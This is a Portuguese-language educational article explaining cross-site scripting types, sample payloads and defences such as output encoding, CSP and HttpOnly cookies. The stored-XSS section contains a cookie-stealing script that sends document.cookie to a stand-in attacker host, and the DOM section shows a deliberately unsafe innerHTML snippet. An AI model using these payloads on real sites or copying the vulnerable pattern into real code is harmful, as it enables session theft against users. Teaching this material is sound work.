Cross-Site Scripting (XSS): O Que É e Como Evitar

Cross‑Site Scripting – mais conhecido como XSS – é uma das vulnerabilidades mais comuns e perigosas em aplicações web. Ela permite que um atacante injete scripts maliciosos (geralmente JavaScript) em páginas visualizadas por outros usuários. O impacto pode variar de roubo de cookies e sessões até desfiguração completa do site e execução de ações em nome da vítima. Neste artigo vou explicar o que é XSS, seus principais tipos, dar exemplos práticos e mostrar como se proteger de forma eficaz.

O Que É Cross‑Site Scripting?

XSS ocorre quando uma aplicação web inclui dados fornecidos pelo usuário em suas páginas sem a devida validação ou codificação. O navegador da vítima interpreta esses dados como código executável. Em vez de exibir apenas texto inofensivo, o navegador executa o script injetado.

O nome “Cross‑Site” vem do fato de que o ataque pode cruzar a fronteira entre sites – o script malicioso roda no contexto de um site confiável, enganando o navegador e a vítima. A vulnerabilidade é listada no OWASP Top 10 e continua sendo um dos principais vetores de ataque.

Tipos de XSS

Existem três grandes categorias: Reflected (Refletido), Stored (Armazenado) e DOM‑based (Baseado em DOM). Cada uma tem características e formas de exploração distintas.

1. XSS Refletido

No XSS refletido, o payload malicioso faz parte da própria requisição (geralmente na URL, parâmetros de formulário ou cabeçalhos). O servidor “reflete” esse payload na resposta HTML sem sanitização. O atacante engana a vítima para que ela clique em um link especialmente criado; o script é executado no navegador dela.

Exemplo: uma página de busca que exibe o termo pesquisado:

https://exemplo.com/busca?q=<script>alert('XSS')</script>

Se o termo for inserido diretamente no HTML sem codificação, o script será executado. A vítima precisa interagir com o link – por isso esse tipo também é chamado de “não persistente”.

2. XSS Armazenado

Também chamado de XSS persistente, o payload é armazenado no servidor (banco de dados, sistema de arquivos, etc.) e servido a todos os visitantes de uma página. É o mais grave, pois não depende de engenharia social adicional – qualquer usuário que acessar a página contaminada será atacado.

Exemplo clássico: um fórum que permite comentários sem filtrar o conteúdo. Um atacante posta um comentário contendo:

<script>document.location='https://atacante.com/roubar?cookie='+document.cookie</script>

Todos os visitantes da página do tópico terão seus cookies enviados para o servidor do atacante.

3. XSS Baseado em DOM

Nesse tipo, o problema está no código JavaScript do lado do cliente – o servidor pode até entregar uma resposta limpa, mas o script da página manipula dados não confiáveis e escreve no DOM de forma insegura. A injeção acontece inteiramente no navegador.

Exemplo: uma página que usa document.write() com um fragmento da URL:

var user = location.hash.substr(1);
document.getElementById('saudacao').innerHTML = 'Bem‑vindo, ' + user;

Se a URL contiver #<img src=x onerror=alert(1)>, o código será executado.

Como Prevenir XSS

A prevenção exige uma abordagem em camadas. As medidas mais importantes são:

• Validação de entrada (input validation): rejeite ou sanitize dados que contenham caracteres especiais (<, >, &, ", '). Use listas brancas (allowlist) sempre que possível.
• Codificação de saída (output encoding): contextos HTML, atributos, JavaScript, CSS e URL exigem codificações diferentes. Bibliotecas como OWASP Java Encoder, ESAPI ou htmlspecialchars() no PHP ajudam, mas é preciso saber o contexto correto.
• Content Security Policy (CSP): defina uma política rigorosa que limite as fontes de scripts (script-src). Uma CSP bem configurada pode bloquear muitos ataques mesmo se houver uma falha de codificação.
• HttpOnly e Secure flags em cookies: reduz o impacto do roubo de cookies – o script não consegue acessar cookies marcados como HttpOnly.
• Ferramentas de análise estática (SAST): incorpore scanners de segurança no pipeline de CI/CD para detectar padrões inseguros (como innerHTML ou document.write).
• Treinamento dos desenvolvedores: entender os mecanismos do XSS é o primeiro passo para escrever código seguro.

Mitos Comuns Sobre XSS

“Só acontece em aplicações legadas.” Mito. Frameworks modernos (React, Angular, Vue) oferecem proteção por padrão, mas é possível escrever código inseguro se o desenvolvedor usar APIs como dangerouslySetInnerHTML ou v-html.

“Basta validar no lado do servidor.” Mito. A validação no cliente é fraca e pode ser contornada. A sanitização no servidor é obrigatória, mas também é preciso codificar a saída corretamente.

“CSP resolve tudo.” Mito. CSP é uma camada extra, mas não substitui a validação de entrada e a codificação de saída. Políticas mal configuradas podem ser contornadas.

Perguntas Frequentes (FAQ)

XSS é o mesmo que SQL Injection?

Não. SQL Injection explora falhas na camada de banco de dados, enquanto XSS explora a confiança entre o usuário e o navegador. Ambos são perigosos, mas atacam vetores diferentes.

Como testar se minha aplicação está vulnerável a XSS?

Use payloads simples como <script>alert(1)</script> em campos de formulário e parâmetros de URL. Ferramentas automatizadas (Burp Suite, OWASP ZAP) também ajudam a identificar pontos fracos.

O que é self‑XSS?

Self‑XSS ocorre quando o usuário injeta código em uma página que só ele mesmo vê (ex.: console do navegador). Embora pareça inofensivo, atacantes usam engenharia social para induzir a vítima a colar código malicioso no console.

Conclusão

Cross‑Site Scripting continua sendo uma ameaça real para todas as aplicações web. Conhecer os tipos – Reflected, Stored e DOM‑based – e aplicar as defesas adequadas (validação de entrada, codificação de saída, CSP, HttpOnly) reduz drasticamente o risco. No contexto do DevSecOps, a segurança deve ser incorporada desde o início do desenvolvimento, com revisões de código, scanners automatizados e uma cultura de “shift‑left”. Lembre‑se: a prevenção é sempre mais barata do que a correção de um incidente.

Referências: OWASP XSS, PortSwigger Web Security Academy.